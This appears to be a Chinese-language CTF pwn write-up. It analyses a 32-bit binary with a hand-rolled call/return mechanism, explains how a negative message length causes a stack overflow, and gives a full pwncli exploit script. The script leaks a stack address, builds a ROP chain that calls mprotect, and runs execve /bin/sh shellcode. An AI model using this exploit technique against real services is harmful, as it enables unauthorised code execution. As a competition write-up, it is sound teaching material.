总结
自定义了一套函数调用流程,手动模拟了push/pop/call/ret
等。分析清楚每个指令的实现后,即可利用栈上的变量进行利用。
checksec
远程环境不影响。
漏洞点
这里直接看汇编,更容易发现漏洞点。在message
函数中:
这里要输入name
的时候,直接从栈上取的变量,可控制。
长度可以位为负数,之后可以栈溢出。还可以发现,循环变量都是从栈上取的,也可以控制循环的次数。
利用思路
程序最后回到上一层使用的是:
一开始的想法是控制这里的ebp
,即可进行栈迁移。后来在写exp
的过程中发现,在getnline(name, xxx)
的时候,就已经可以rop
了。
思路如下:
- 首先利用栈溢出泄露出
stack
地址
- 伪造
name
和name_len
,读入name
,触发rop
- 修改栈的可执行权限,执行
shellcode
即可
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
sla("Input name : ", "roderick")
sla("Message length : ", "-1")
sa("Input message : ", "a"*0x2b+"$")
ru("$")
m = rn(4)
stack_addr = u32_ex(m)
log_address_ex("stack_addr")
sla("Change name? (y/n) : ", "n")
sla("Message length : ", "-1")
sa("Input message : ", flat({
0x20-4: [
3, # i
0,
0,0,
"dead", # *rbp
0,
stack_addr - 0xc4 - 0x60, # name
0x1000, # name_len
4 # let's try again
]
}))
payload = [
elf.plt.mprotect,
stack_addr - 0x80,
(stack_addr - 0x104) & ~0xfff,
0x2000,
7,
"\x90" * 0x100,
ShellcodeMall.i386.execve_bin_sh
]
sla("Input name : ", flat({
28:payload
}))
ia()
|
打远程:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli